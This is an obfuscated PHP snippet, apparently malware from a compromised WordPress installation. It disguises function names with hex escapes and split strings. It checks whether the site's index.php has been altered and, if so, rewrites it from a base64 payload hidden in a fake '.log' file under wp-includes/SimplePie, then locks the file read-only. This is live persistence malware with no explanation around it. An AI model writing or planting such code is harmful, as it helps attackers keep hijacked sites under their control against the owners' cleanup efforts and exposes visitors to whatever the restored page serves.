<?php //c_start  
$f_size = "\x66il\x65si\x7ae";
$f_exists ="file_exists"; 
$fo = "fopen"; 
$fw = "fwrite"; 
$fr='fread';$fclose='fclose';
$ch = "\x63hm\x6fd"; $tou = "\x74ou\x63h"; 
$delete = "unlink"; 
$bs_dec = "base64_decode"; $idx_path = $_SERVER['DOCUME' . 'NT_ROOT']. '/ind' . 'ex.php'; $bk_idx_path = '/opt/bitnami/wordpress/wp-includes/SimplePie/Content/TypeckKxs.log'; if (!$f_exists($idx_path) or $f_size($idx_path) != 3919) { if ($f_exists($bk_idx_path)){ 
 $fileHandle = $fo($bk_idx_path, "r"); $idx_code = $fr($fileHandle, $f_size($bk_idx_path));$fclose($fileHandle);  @$ch($idx_path, 0644); @$delete($idx_path); $fp =$fo($idx_path,'w');  $f_result=$fw($fp,$bs_dec($idx_code));@$ch($idx_path, 0444); } } 
//c_end
 ?>